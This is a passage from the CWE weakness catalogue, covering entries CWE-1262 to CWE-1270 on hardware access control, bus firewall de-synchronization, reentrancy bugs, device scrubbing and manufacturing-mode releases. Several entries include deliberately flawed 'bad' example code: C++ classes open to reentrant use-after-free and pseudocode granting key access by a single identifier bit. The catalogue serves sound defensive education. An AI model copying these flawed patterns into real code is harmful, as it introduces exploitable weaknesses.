This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2009

References

[REF-1086]Fan Wang and Vishwani D. Agrawal. "Single Event Upset: An Embedded Tutorial". < https://www.eng.auburn.edu/~agrawvd/TALKS/tutorial_6pg.pdf >.

[REF-1087]P. D. Bradley and E. Normand. "Single Event Upsets in Implantable Cardioverter Defibrillators". < https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=736549 >.

[REF-1088]Melanie Berg, Kenneth LaBel and Jonathan Pellish. "Single Event Effects in FPGA Devices 2015-2016". < https://ntrs.nasa.gov/search.jsp?R=20160007754 >.

[REF-1089]Cisco. "Cisco 12000 Single Event Upset Failures Overview and Work Around Summary". < https://www.cisco.com/c/en/us/support/docs/field-notices/200/fn25994.html >.

[REF-1090]Cypress. "Different Ways to Mitigate Soft Errors in Asynchronous SRAMs - KBA90939". < https://community.cypress.com/docs/DOC-10826 >.

[REF-1091]Ian Johnston. "Cosmic particles can change elections and cause plans to fall through the sky, scientists warn". < https://www.independent.co.uk/news/science/subatomic-particles-cosmic-rays-computers-change-elections-planes-autopilot-a7584616.html >.

[REF-1101]Anders B. Wilhelmsen, Eivind S. Kristiansen and Marie Moe. "The Hard-coded Key to my Heart - Hacking a Pacemaker Programmer". 2019 August 0. < https://anderbw.github.io/2019-08-10-DC27-Biohacking-pacemaker-programmer.pdf >.

CWE-1262: Register Interface Allows Software Access to Sensitive Data or Security Settings

Weakness ID : 1262 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Memory-mapped registers provide access to hardware functionality from software and if not properly secured can result in loss of confidentiality and integrity.

Extended Description

It is common for software to access peripherals in an SoC through a memory-mapped register interface. Any security-critical data accessible directly or indirectly through the register interface must have a clearly defined access control policy which is correctly implemented to protect assets in the hardware design from software.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Memory Read Application Data Modify Memory	

Scope	Impact	Likelihood
	Modify Application Data Gain Privileges or Assume Identity Bypass Protection Mechanism Unexpected State Alter Execution Logic *Confidentiality of hardware assets violated if the information can be read out by software through the register interface.Registers storing security state, settings, other security-critical data can be corruptible by software if protections are not in place.*	

Potential Mitigations

Phase: Architecture and Design

Design proper policies for how and if hardware registers can be accessed by software.

Phase: Implementation

Ensure access control policies for software in relation to hardware are implemented in accordance with intended design.

Demonstrative Examples

Example 1:

The register interface provides software access to hardware functionality but can also be viewed as an attack surface if untrusted code can execute in the system. As an example, cryptographic accelerators require a mechanism for software to select modes of operation, provide plaintext or ciphertext data to be encrypted/decrypted etc. This functionality is commonly provided through registers.

Example Language: *(bad)*

Cryptographic key material stored in registers inside the cryptographic accelerator can be accessed by software.

Example Language: *(good)*

Key material stored in registers should never be accessible to software. Even if software can provide a key, all read-back paths to software should be disabled.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2008

Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements.

CWE-1263: Insufficient Physical Protection Mechanism

Weakness ID : 1263 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The product is designed such that certain parts be restricted yet does not sufficiently protect against an unauthorized actor's ability to physically access these restricted regions of the product.

Extended Description

Sections of a product intended as restricted may be inadvertently or intentionally rendered accessible when the implemented physical protections are insufficient. The specific requirements around how robust the design of the physical protection mechanism needs to be depends on the type of product being protected. Selecting the correct physical protection mechanism and properly enforcing it through implementation and manufacturing are critical to the overall physical security of the product.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
PeerOf	B	1191	Exposed Chip Debug and or Test Interface With Insufficient Access Control	1729
PeerOf	B	1243	Exposure of Security-Sensitive Fuse Values During Debug	1764

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Access Control	Varies by Context *Confidentiality, Integrity, and Access Control of product internals may result in a variety of negative outcomes and lead to numerous further compromise to system security.*	

Potential Mitigations

Phase: Architecture and Design

Specific physical protection requirements depend strongly on contextual factors including the level of acceptable risk associated with compromise to the product's physical protection mechanism. Designers could incorporate an anti-tampering measure that protects against or detects when the product has been tampered with.

Phase: Testing

The testing phase of the lifecycle should establish a method for determining whether the physical protection mechanism levered for preventing unauthorized access to certain sections or parts of the product.

Phase: Manufacturing

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1208	Cross-Cutting Problems	1194	2012

Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements.

CWE-1264: Hardware Logic with Insecure De-Synchronization between Control and Data Channels

Weakness ID : 1264 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The hardware logic for error handling and security checks can incorrectly forward data before the security check is complete.

Extended Description

Many high-performance on-chip bus protocols and processor data-paths employ separate channels for control and data to increase parallelism and maximize throughput. Bugs in the hardware logic that handle errors and security checks can make it possible for data to be forwarded before the completion of the security checks. If the data can propagate to a location in the hardware observable to an attacker, loss of data confidentiality can occur. 'Meltdown' is a concrete example of how de-synchronization between data and permissions checking logic can violate confidentiality requirements. Data loaded from a page marked as privileged was returned to the cpu regardless of current privilege level for performance reasons. The assumption was that the cpu could later remove all traces of this data during the handling of the illegal memory access exception, but this assumption was proven false as traces of the secret data were not removed from microarchitectural state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	821	Incorrect Synchronization	1514
PeerOf	B	1037	Processor Optimization Removal or Modification of Security-critical Code	1639

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Thoroughly verify the data routing logic to ensure that any error handling or security checks effectively block illegal dataflows.

Demonstrative Examples

Example 1:

There are several standard on-chip bus protocols used in modern SoCs to allow communication between components. There are a wide variety of commercially available hardware IP implementing the interconnect logic for these protocols. A bus connects components which initiate/request communications such as processors and DMA controllers (bus masters) with peripherals which respond to requests. In a typical system, the privilege level or security designation of the bus master along with the intended functionality of each peripheral determine the security policy specifying which specific bus masters can access specific peripherals. This security policy (commonly referred to as a bus firewall) can be enforced using separate IP/logic from the actual interconnect responsible for the data routing.

Example Language: Other *(bad)*

The firewall and data routing logic becomes de-synchronized due to a hardware logic bug allowing components that should not be allowed to communicate to share data. For example, consider an SoC with two processors. One is being used as a root of trust and can access a cryptographic key storage peripheral. The other processor (application cpu) may run potentially untrusted code and should not access the key store. If the application cpu can issue a read request to the key store which is not blocked due to de-synchronization of data routing and the bus firewall, disclosure of cryptographic keys is possible.

Example Language: Other *(good)*

All data is correctly buffered inside the interconnect until the firewall has determined that the endpoint is allowed to receive the data.

Observed Examples

Reference	Description
CVE-2017-5754	Systems with microprocessors utilizing speculative execution and indirect branch prediction may allow unauthorized disclosure of information to an attacker with local user access via a side-channel analysis of the data cache. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5754*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1196	Security Flow Issues	1194	2008

CWE-1265: Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls

Weakness ID : 1265 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

During execution of non-reentrant code, the software performs a call that unintentionally produces a nested invocation of the non-reentrant code.

Extended Description

In complex software, a single function call may lead to many different possible code paths, some of which may involve deeply nested calls. It may be difficult to foresee all possible code paths that could emanate from a given function call. In some systems, an external actor can manipulate inputs to the system and thereby achieve a wide range of possible control flows. This is frequently of concern in software that executes script from untrusted sources. Examples of such software are web browsers and PDF readers. A weakness is present when one of the possible code paths resulting from a function call alters program state that the original caller assumes to be unchanged during the call.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342
PeerOf	B	663	Use of a Non-reentrant Function in a Concurrent Context	1290
CanPrecede	V	416	Use After Free	904

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	371	State Issues	1861

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State *Exploitation of this weakness can leave the application in an unexpected state and cause variables to be reassigned before the first invocation has completed. This may eventually result in memory corruption or unexpected code execution.*	Unknown

Potential Mitigations

Phase: Architecture and Design

When architecting a system that will execute untrusted code in response to events, consider executing the untrusted event handlers asynchronously (asynchronous message passing) as

opposed to executing them synchronously at the time each event fires. The untrusted code should execute at the start of the next iteration of the thread's message loop. In this way, calls into non-reentrant code are strictly serialized, so that each operation completes fully before the next operation begins. Special attention must be paid to all places where type coercion may result in script execution. Performing all needed coercions at the very beginning of an operation can help reduce the chance of operations executing at unexpected junctures.

Effectiveness = High

Phase: Implementation

Make sure the code (e.g., function or class) in question is reentrant by not leveraging non-local data, not modifying its own code, and not calling other non-reentrant code.

Effectiveness = High

Demonstrative Examples

Example 1:

The implementation of the Widget class in the following C++ code is an example of code that is not designed to be reentrant. If an invocation of a method of Widget inadvertently produces a second nested invocation of a method of Widget, then data member backgroundImage may unexpectedly change during execution of the outer call.

Example Language: C++ *(bad)*

```
class Widget
{
    private:
        Image* backgroundImage;
    public:
        void click()
        {
            if (backgroundImage)
            {
                backgroundImage->click();
            }
        }
        void changeBackgroundImage(Image* newImage)
        {
            if (backgroundImage)
            {
                delete backgroundImage;
            }
            backgroundImage = newImage;
        }
}
class Image
{
    public:
        void click()
        {
            scriptEngine->fireOnImageClick();
            /* perform some operations using “this” pointer */
        }
}
```

Looking closer at this example, Widget::click() calls backgroundImage->click(), which in turn calls scriptEngine->fireOnImageClick(). The code within fireOnImageClick() invokes the appropriate script handler routine as defined by the document being rendered. In this scenario this script routine is supplied by an adversary and this malicious script makes a call to Widget::changeBackgroundImage(), deleting the Image object pointed to by backgroundImage. When control returns to Image::click, the function's "backgroundImage "this" pointer (which is the former value of backgroundImage) is a dangling pointer. The root of this weakness is that while

one operation on Widget (click) is in the midst of executing, a second operation on the Widget object may be invoked (in this case, the second invocation is a call to different method, namely changeBackgroundImage) that modifies the non-local variable.

Example 2:

This is another example of C++ code that is not designed to be reentrant.

Example Language: C++ *(bad)*

```
class Request
{
    private:
        std::string uri;
        /* ... */
    public:
        void setup(ScriptObject* _uri)
        {
            this->uri = scriptEngine->coerceToString(_uri);
            /* ... */
        }
        void send(ScriptObject* _data)
        {
            Credentials credentials = GetCredentials(uri);
            std::string data = scriptEngine->coerceToString(_data);
            doSend(uri, credentials, data);
        }
}
```

The expected order of operations is a call to Request::setup(), followed by a call to Request::send(). Request::send() calls scriptEngine->coerceToString(_data) to coerce a script-provided parameter into a string. This operation may produce script execution. For example, if the script language is ECMAScript, arbitrary script execution may result if _data is an adversary-supplied ECMAScript object having a custom toString method. If the adversary's script makes a new call to Request::setup, then when control returns to Request::send, the field uri and the local variable credentials will no longer be consistent with one another. As a result, credentials for one resource will be shared improperly with a different resource. The root of this weakness is that while one operation on Request (send) is in the midst of executing, a second operation may be invoked (setup).

Observed Examples

Reference	Description
CVE-2014-1772	In this vulnerability, by registering a malicious onerror handler, an adversary can produce unexpected re-entrance of a CDOMRange object. [REF-1098] *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1772*
CVE-2018-8174	This CVE covers several vulnerable scenarios enabled by abuse of the Class_Terminate feature in Microsoft VBScript. In one scenario, Class_Terminate is used to produce an undesirable re-entrance of ScriptingDictionary during execution of that object's destructor. In another scenario, a vulnerable condition results from a recursive entrance of a property setter method. This recursive invocation produces a second, spurious call to the Release method of a reference-counted object, causing a UAF when that object is freed prematurely. This vulnerability pattern has been popularized as "Double Kill". [REF-1099] *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8174*

References

[REF-1098]Jack Tang. "Root Cause Analysis of CVE-2014-1772 – An Internet Explorer Use After Free Vulnerability". 2014 November 5. < https://blog.trendmicro.com/trendlabs-security-intelligence/root-cause-analysis-of-cve-2014-1772-an-internet-explorer-use-after-free-vulnerability/ >.

[REF-1099]Simon Zuckerbraun. "It's Time To Terminate The Terminator". 2018 May 5. < https://www.zerodayinitiative.com/blog/2018/5/15/its-time-to-terminate-the-terminator >.

CWE-1266: Improper Scrubbing of Sensitive Data from Decommissioned Device

Weakness ID : 1266 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product does not properly provide a capability for the product administrator to remove sensitive data at the time the product is decommissioned. A scrubbing capability could be missing, insufficient, or incorrect.

Extended Description

When a product is decommissioned - i.e., taken out of service - best practices or regulatory requirements may require the administrator to remove or overwrite sensitive data first, i.e. "scrubbing." Improper scrubbing of sensitive data from a decommissioned device leaves that data vulnerable to acquisition by a malicious actor. Sensitive data may include, but is not limited to, device/manufacturer proprietary information, user/device credentials, network configurations, and other forms of sensitive data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	404	Improper Resource Shutdown or Release	877

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	

Potential Mitigations

Phase: Architecture and Design

Functionality to completely scrub data from a product at the conclusion of its lifecycle should be part of the design phase. Trying to add this function on top of an existing architecture could lead to incomplete removal of sensitive information/data.

Phase: Policy

The manufacturer should describe where sensitive data will be written to. For example, this information may be conveyed to the consumer in an Administrators Guide or a Statement of

Volatility. The manufacturer should also describe the procedure which may be followed to remove this sensitive data.

Phase: Implementation

If the capability to wipe sensitive data isn't built-in, the manufactuerer may need to provide a utility to scrub sensitive data from storage if that data is located in a place which is non-accessible by the administrator. One example of this could be when sensitive data is stored on an EEPROM for which there is no user/admin interface provided by the system.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1195	Manufacturing and Life Cycle Management Concerns	1194	2007

Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements.

References

[REF-1080]Christopher Tarnovsky. "Security Failures in Secure Devices". < https://www.blackhat.com/presentations/bh-europe-08/Tarnovsky/Presentation/bh-eu-08-tarnovsky.pdf >.

CWE-1267: Policy Uses Obsolete Encoding

Weakness ID : 1267 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product uses an obsolete encoding mechanism to implement access controls.

Extended Description

Within a System-On-Chip (SoC), various circuits and hardware engines generate transactions for the purpose of accessing (read/write) assets or performing various actions (e.g., reset, fetch, compute, etc.). Among various types of message information, a typical transaction is comprised of source identity (identifying the originator of the transaction) and a destination identity (routing the transaction to the respective entity). Sometimes the transactions are qualified with a Security Identifier. This Security Identifier helps the destination agent decide on the set of allowed actions (e.g., access to an asset for reads and writes). A policy encoder is used to map the bus transactions to Security Identifiers that in turn are used as access-controls/protection mechanisms. A common weakness involves using an encoding which is no longer trusted, i.e., an obsolete encoding.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Modify Memory Read Memory Modify Files or Directories Read Files or Directories DoS: Resource Consumption (Other) Execute Unauthorized Code or Commands Gain Privileges or Assume Identity Bypass Protection Mechanism Reduce Reliability	High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Security Identifier Decoders must be reviewed for design inconsistency and common weaknesses. Access and programming flows must be tested in pre-silicon and post-silicon testing.

Effectiveness = High

Demonstrative Examples

Example 1:

For example, consider a system that has four bus masters. The table below provides bus masters, their Security Identifiers, and trust assumptions.

The policy encoding is to be defined such that Security Identifier will be used in implemented access-controls.

The bits in the bus transaction that contain Security-Identifier information are Bus_transaction [15:11].

The assets are the AES-Key registers for encryption or decryption. The key is of 128 bits implemented as a set of four, 32-bit registers.

Below is an example of a policy encoding scheme inherited from a previous project where all “ODD” numbered Security Identifiers are trusted.

Example Language: *(bad)*

```
If (Bus_transaction[14] == “1”)
    Trusted = “1”
Else
    Trusted = “0”
If (trusted)
    Allow access to AES-Key registers
```

```
Else
   Deny access to AES-Key registers
```

The inhereted policy encoding is obsolete and does not work for the new system where an untrusted bus master with an odd Security Identifier exists in the system, i.e., Master_3 whose Security Identifier is “11”. Based on the old policy, the untrusted bus master (Master_3) has access to the AES-Key registers. To resolve this, a register AES_KEY_ACCESS_POLICY can be defined to provide necessary, access controls:

New Policy:

The AES_KEY_ACCESS_POLICY register defines which agents with a Security Identifier in the transaction can access the AES-key registers. Each bit in this 32-bit register defines a Security Identifier. There could be a maximum of 32 security identifiers that are allowed accesses to the AES-key registers. The number of the bit when set (i.e., “1”) allows respective action from an agent whose identity matches the number of the bit and, if “0” (i.e., Clear), disallows the respective action to that corresponding agent. Thus, any bus master with Security Identifier “01” is allowed access to the AES-Key registers. Below is the Pseudo Code for policy encoding:

Example Language: *(good)*

```
Security_Identifier[4:0] = Bus_transaction[15:11]
If (AES_KEY_ACCESS_POLICY[Security_Identifier] == “1”)
   Allow access to AES-Key registers
Else
   Deny access to AES-Key registers
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2008

References

[REF-1093]Brandon Hill. "Huge Intel CPU Bug Allegedly Causes Kernel Memory Vulnerability With Up To 30% Performance Hit In Windows And Linux". 2018 January 2. < https://hothardware.com/news/intel-cpu-bug-kernel-memory-isolation-linux-windows-macos >.

CWE-1268: Agents Included in Control Policy are not Contained in Less-Privileged Policy

Weakness ID : 1268 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product's hardware-enforced access control for a particular resource improperly accounts for privilege discrepancies between control and write policies.

Extended Description

Integrated circuits and hardware engines may provide access to resources (device-configuration, encryption keys, etc.) belonging to trusted firmware or software modules (commonly set by a BIOS or a bootloader). These accesses are typically controlled and limited by the hardware. Hardware design access control is sometimes implemented using a policy. A policy defines which entity or

agent may or may not be allowed to perform an action. When a system implements multiple levels of policies, a control policy may allow direct access to a resource as well as changes to the policies themselves.

Such resources that include agents in the control policy but not in write policy could unintentionally allow the untrusted agent to insert itself in the write policy register. Inclusion in the write policy register could allow a malicious or misbehaving agent write access to resources. This action could result in security risks consisting of leaked information, leaked encryption keys, or even modification of device configuration.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Modify Memory Read Memory DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands Gain Privileges or Assume Identity Bypass Protection Mechanism Read Files or Directories Reduce Reliability	High

Potential Mitigations

Phase: Architecture and Design

Access-control-policy definition and programming flow must be tested in pre-silicon and post-silicon testing

Phase: Implementation

Access-control-policy definition and programming flow must be tested in pre-silicon and post-silicon testing

Demonstrative Examples

Example 1:

Consider a system with a register for storing an AES key for encryption or decryption. The key is composed of 128 bits implemented as a set of four 32-bit registers. The key registers are resources and registers, AES_KEY_CONTROL_POLICY, AES_KEY_READ_POLICY and AES_KEY_WRITE_POLICY, and are defined to provide necessary, access controls.

The control-policy register defines which agents can write to the read-policy and write-policy registers. The read-policy register defines which agents can read the AES-key registers, and write-policy register defines which agents can program or write to those registers. Each 32-bit register can support access control for a maximum of 32 agents. The number of the bit when set (i.e., “1”) allows respective action from an agent whose identity matches the number of the bit and, if “0” (i.e., Clear), disallows the respective action to that corresponding agent.

Example Language: *(bad)*

In the above example, the AES_KEY_CONTROL_POLICY register has agents with identities “4”and “3” in its policy. Assuming the agent with identity “4” is trusted and the agent with identity “3” is untrusted. The untrusted agent “3” can write to AES_KEY_WRITE_POLICY with a value of 0x0000000C thus allowing write access to AES_ENC_DEC_KEY_0 through AES_ENC_DEC_KEY_3 registers.

1. The AES_KEY_CONTROL_POLICY defines which agents have write access to the AES_KEY_CONTROL_POLICY, AES_KEY_READ_POLICY, and the AES_KEY_WRITE_POLICY registers,
2. The AES-key registers can only be read or used by a crypto agent with identity “1” when bit #1 is set.
3. The AES-key registers can only be programmed by a trusted firmware with identity “2” when bit #2 is set.

For the above example, the control, read-and-write-policy registers’ values are defined as below.

Example Language: *(good)*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2008

Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements.

CWE-1269: Product Released in Non-Release Configuration

Weakness ID : 1269 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product released to market is released in pre-production or manufacturing configuration.

Extended Description

Products in the pre-production or manufacturing stages are configured to have many debug hooks and debug capabilities, including but not limited to:

- Ability to override/bypass various cryptographic checks (including authentication, authorization, and integrity)
- Ability to read/write/modify/dump internal state (including registers and memory)
- Ability to change system configurations
- Ability to run hidden or private commands that are not allowed during production (as they expose IP).

The above is by no means an exhaustive list, but it alludes to the greater capability and the greater state of vulnerability of a product during it's preproduction or manufacturing state.

Complexity increases when multiple parties are involved in executing the tests before the final production version. For example, a chipmaker might fabricate a chip and run its own preproduction tests, following which the chip would be delivered to the Original Equipment Manufacturer (OEM), who would now run a second set of different preproduction tests on the same chip. Only after both of these sets of activities are complete, can the overall manufacturing phase be called “complete” and have the “Manufacturing Complete” fuse blown. However, if the OEM forgets to blow the Manufacturing Complete fuse, then the system remains in the manufacturing stage, rendering the system both exposed and vulnerable.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344

Applicable Platforms

Language : VHDL *(Prevalence = Undetermined)*

Language : Verilog *(Prevalence = Undetermined)*

Language : Compiled *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Other *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control Accountability Authentication Authorization Non-Repudiation	Other	High

Potential Mitigations

Phase: Implementation

Ensure that there exists a marker for denoting the Manufacturing Complete stage and that the Manufacturing Complete marker gets updated at the Manufacturing Complete stage (i.e., the Manufacturing Complete fuse gets blown).

Phase: Integration

Ensure that there exists a marker for denoting the Manufacturing Complete stage and that the Manufacturing Complete marker gets updated at the Manufacturing Complete stage (i.e., the Manufacturing Complete fuse gets blown).

Phase: Manufacturing

Ensure that there exists a marker for denoting the Manufacturing Complete stage and that the Manufacturing Complete marker gets updated at the Manufacturing Complete stage (i.e., the Manufacturing Complete fuse gets blown).

Demonstrative Examples

Example 1:

This example shows what happens when a preproduction system is made available for production.

Example Language: *(bad)*

Suppose the chipmaker has a way of scanning all the internal memory (containing chipmaker-level secrets) during the manufacturing phase, and the way the chipmaker or the Original Equipment Manufacturer (OEM) marks the end of the manufacturing phase is by blowing a Manufacturing Complete fuse. Now, suppose that whoever blows the Manufacturing Complete fuse inadvertently forgets to execute the step to blow the fuse.

An attacker will now be able to scan all the internal memory (containing chipmaker-level secrets).

Example Language: *(good)*

Blow the Manufacturing Complete fuse.

Observed Examples

Reference	Description
CVE-2019-13945	Regarding SSA-686531, a hardware based manufacturing access on S7-1200 and S7-200 SMART has occurred. A vulnerability has been identified in SIMATIC S7-1200 CPU family (incl. SIPLUS variants) (All versions), SIMATIC S7-200 SMART CPU family (All versions). There is an access mode used during manufacturing of S7-1200 CPUs that allows additional diagnostic functionality. The security vulnerability could be exploited by an attacker with physical access to the UART interface during boot process. At the time of advisory publication, no public exploitation of this security vulnerability was known. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13945*
CVE-2018-4251	Laptops with Intel chipsets were found to be running in Manufacturing Mode. After this information was reported to the OEM, the vulnerability (CVE-2018-4251) was patched disallowing access to the interface. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-4251*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1195	Manufacturing and Life Cycle Management Concerns	1194	2007

References

[REF-1103]Lucian Armasu. "Intel ME's Undocumented Manufacturing Mode Suggests CPU Hacking Risks". 2018 October 3. < https://www.tomshardware.com/news/intel-me-cpu-undocumented-manufacturing-mode,37883.html >.

CWE-1270: Generation of Incorrect Security Identifiers

Weakness ID : 1270 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product implements a Security Identifier mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Identifiers generated in the system are incorrect.

Extended Description

Systems-On-Chip (Integrated circuits and hardware engines) implement Security Identifiers to differentiate/identify actions originated from various agents. These actions could be ‘read’, ‘write’, ‘program’, ‘reset’, ‘fetch’, ‘compute’, etc. Security identifiers are generated and assigned to every agent in the System (SoC) that is either capable of generating an action or receiving an action from another agent. Every agent could be assigned a unique, Security Identifier based on its trust level or privileges. Hence the generation of the Security Identifiers is very important to achieve security in the SoC. A common weakness that can exist is that the generated Security Identifiers are incorrect. Consequently, the same agent may have multiple identifiers or multiple agents may have the same security identifier. In either case, the security consequences could be a Denial-of-Service (DoS) or execution of an action that in turn could result in privilege escalation or unintended access.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
